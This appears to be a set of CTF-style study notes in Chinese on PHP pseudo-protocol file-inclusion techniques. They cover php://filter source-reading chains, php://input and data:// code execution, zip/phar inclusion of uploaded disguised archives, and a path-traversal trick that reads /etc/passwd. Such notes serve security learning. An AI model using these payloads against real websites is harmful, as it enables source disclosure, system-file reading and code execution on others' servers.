php.ini配置文件参数:
allow_url_fopen:on
#默认开启 ,表示允许url里的封装协议访问文件;
allow_url_include:off
#默认关闭,表示不允许包含url里的封装协议包含文件;
php://协议
条件:
allow_url_fopen
:off/onallow_url_include
:仅php://input php://stdin php://memory php://temp
需要on
php://filter
读取文件源码可以直接用resource读取(常用)
//原型
php://filter/resource=flag.php
//base64编码
php://filter/read=convert.base64-encode/resource=flag.php
//quoted-printable编码
php://filter/read=convert.quoted-printable-encode/resource=flag.php
//rot13变换
php://filter/read=string.rot13/resource=flag.php
//字符编码
php://filter/read=convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
//解码脚本
<?php
$str = "lfga= \" lfgaL{xx}x;\"";
echo iconv('UCS-2BE', 'UCS-2LE', $str);
?>
// 一些其它的filterchain
php://filter/convert.iconv.CP9066.CSUCS4/resource=flag.php
php://filter/convert.iconv.UTF8.CSISO2022KR/resource=flag.php
写入文件源码需把read改为write,encode改为decode
filterchain
见https://c1oudfl0w0.github.io/blog/2023/11/24/FilterChain/
php://input
执行php代码
是个可以访问请求的原始数据的只读流。(php://input可以读取没有处理过的POST数据)
在enctype="multipart/form-data"
的时候php://input
是无效的。
- 利用条件:
绕过file_get_contents()
data://协议
访问数据流,执行相应php代码
可用于flag被过滤的文件包含
data://text/plain(;base64),编码后的php代码
file://协议
可读取本地文件
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
file://[文件的绝对路径和文件名]
http://127.0.0.1/include.php?file=file://E:\phpStudy\PHPTutorial\WWW\phpinfo.txt
file://[文件的相对路径和文件名]
http://127.0.0.1/include.php?file=./phpinfo.txt
http://[网络路径和文件名]
http://127.0.0.1/include.php?file=http://127.0.0.1/phpinfo.txt
zip:// & bzip2:// & zlib://协议
zip:// & bzip2:// & zlib://
均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx
等等
条件:
allow_url_fopen
:off/onallow_url_include
:off/on
zip://[压缩文件绝对路径]%23[压缩文件内的子文件名]
http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg%23phpinfo.txt
压缩 phpinfo.txt 为 phpinfo.zip ,压缩包重命名为 phpinfo.jpg ,并上传
compress.bzip2://file.bz2
http://127.0.0.1/include.php?file=compress.bzip2://E:\phpStudy\PHPTutorial\WWW\phpinfo.bz2
压缩 phpinfo.txt 为 phpinfo.bz2 并上传(同样支持任意后缀名)
compress.zlib://file.gz
http://127.0.0.1/include.php?file=compress.zlib://E:\phpStudy\PHPTutorial\WWW\phpinfo.gz
压缩 phpinfo.txt 为 phpinfo.gz 并上传(同样支持任意后缀名)
phar:// 协议
与
zip://
类似,同样可以访问zip格式压缩包内容
可以读取phar包改zip包内的php(详见文件上传)
eg:
http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/phpinfo.txt
利用未知伪协议进行目录遍历
在php中,遇到不认识的protocol时会将其当作普通路径处理
对于parse_url
而言,提供这样一个url:a://example.com/../../../../../../../../../../etc/passwd
解析的结果如下:
[scheme] => a [host] => example.com [path] => /../../../../../../../../../../etc/passwd
于是在file_get_contents
中有下面这种利用方式
file_get_contents("0://google.com/../../../../../etc/hosts")